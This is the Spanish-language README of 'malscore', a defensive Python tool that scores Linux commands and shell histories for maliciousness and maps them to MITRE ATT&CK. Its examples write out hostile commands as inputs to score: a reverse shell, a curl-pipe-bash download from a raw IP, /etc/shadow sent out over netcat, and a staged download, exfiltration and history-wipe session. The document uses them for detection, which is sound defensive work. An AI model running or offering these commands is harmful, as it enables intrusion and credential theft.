
Puntuación de maliciosidad para comandos de Linux
malscore toma una línea de comandos de Linux, o una sesión de comandos como un
historial de shell, y devuelve una puntuación de maliciosidad de 0 a 100 con una banda de veredicto y
mapeo a MITRE ATT&CK:
command(s) → features → signals → score + MITRE mapping
Nunca ejecuta, expande ni resuelve nada — solo lee el texto
(garantizado por tests/test_safety.py). No tiene dependencias más allá de la
biblioteca estándar de Python (3.8+).
pip install malscore # provides the `malscore` command
Desde una copia de trabajo del código fuente:
pip install . # or run without installing, from the repo root:
python3 -m malscore "<command>"
# one command
malscore "curl -s http://45.33.2.1/x.sh | bash"
# the command from stdin
echo "nc -e /bin/sh 10.0.0.1 4444" | malscore -
# a session: one command per line, scored individually and across commands
malscore --session history.txt
history | cut -c8- | malscore --session -
# every command in a telemetry feed, high or worse only
malscore --batch events.jsonl --min-verdict high
# full evidence with MITRE technique ids
malscore "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" --explain
# machine-readable
malscore --session history.txt --json
# gate use: exit code 2 when the verdict is high or critical
malscore --session history.txt --fail-on high
from malscore import Analyzer
a = Analyzer()
r = a.assess_command("curl -s http://1.2.3.4/x.sh | bash")
print(r.score, r.verdict) # 67 high
print([h.id for h in r.hits]) # ['download_pipe_interpreter', 'raw_ip_url', ...]
print(r.techniques) # ['T1059.004', 'T1105', 'T1071.001']
r = a.assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
print(r.score, [h.id for h in r.hits]) # 75 ['staged_download_execution', ...]
print([c.score for c in r.per_command]) # each command's own assessment
print(r.as_dict()) # JSON-ready
Analyzer(redact=True) redacta los valores que parecen credenciales antes de que se devuelva cualquier texto de comando; las puntuaciones no se ven afectadas.
Ejemplos:
$ malscore "sudo cat /etc/shadow | nc 45.33.2.1 9001" --explain
██████████████████████░░ score 91/100 CRITICAL
tactics: exfiltration, credential-access, command-and-control
evidence:
[0.60] exfiltration Credential material is sent over the network
T1552 T1041
[0.55] credential-access The password hash database (/etc/shadow) is accessed
T1003.008
[0.35] exfiltration Data is sent over a raw socket
T1048
...
$ cat history.txt
cd /tmp
curl -s -o /tmp/.x http://45.33.2.1/x
chmod +x /tmp/.x
/tmp/.x
tar czf /tmp/etc.tgz /etc
scp /tmp/etc.tgz [email protected]:/srv/
history -c
$ malscore --session history.txt
████████████████████████ score 99/100 CRITICAL
history.txt
tactics: execution, defense-evasion, exfiltration, command-and-control, collection
7 command(s), 6 flagged:
████████████░░░░░░░░░░░░ L2 49 medium curl -s -o /tmp/.x http://45.33.2.1/x
███████░░░░░░░░░░░░░░░░░ L3 30 low chmod +x /tmp/.x
███████░░░░░░░░░░░░░░░░░ L4 30 low /tmp/.x
██████░░░░░░░░░░░░░░░░░░ L5 25 low tar czf /tmp/etc.tgz /etc
████████░░░░░░░░░░░░░░░░ L6 35 medium scp /tmp/etc.tgz [email protected]:/srv/
████████████░░░░░░░░░░░░ L7 50 medium history -c
signals: staged_download_execution, history_cleared, collect_then_exfiltrate, upload_public_ip, multi_stage, hidden_temp_path ...
En un archivo de sesión, cada línea no vacía es un comando, tomado literalmente: no
hay manejo de comentarios, continuaciones de línea ni here-documents. --batch es
diferente: puntúa cada comando de un feed JSON de forma independiente, sin
análisis entre comandos.
| puntuación | veredicto | significado |
|---|---|---|
| 80–100 | critical | la forma rara vez es legítima (reverse shell, borrado de disco, cuenta uid‑0) |
| 60–79 | high | evidencia sólida; revisar con prontitud |
| 35–59 | medium | sospechoso en la mayoría de contextos (curl‑pipe‑shell, lectura de shadow) |
| 15–34 | low | digno de mención en combinación |
| 0–14 | benign | rutinario |
Las bandas y los pesos son un punto de partida ajustado manualmente, no un modelo entrenado: cada punto de la puntuación se remonta a una señal con nombre y a una técnica MITRE ATT&CK.
sudo/env/xargs se desenvuelven, se desciende en las sustituciones y en las
cargas útiles de -c, y se calculan características deterministas — cadenas de
descarga, rutas tocadas, superficies de persistencia, trucos de codificación, y un
grupo tradecraft (malscore/tradecraft.py) que reconoce técnicas específicas de
atacante por su forma.malscore/signals.py es un catálogo de ~120 señales con nombre: un
predicado sobre el registro de características, un peso en (0, 1], una táctica MITRE y
ids de técnica. Un peso se lee como "qué tan probable es que esto sea hostil si
fuera lo único que supiéramos". El catálogo abarca, por táctica ATT&CK:
/proc/self/fd;/etc/shadow y claves privadas, metadatos de la nube,
búsquedas de palabras clave de credenciales sobre archivos de configuración, lecturas de .pgpass/.netrc/
archivos de credenciales de la nube, extracción de variables de entorno e historial, secuestro de SSH-agent;sudo -u#-1, secuestros de PATH;/proc;DROP TABLE, terminación masiva de procesos.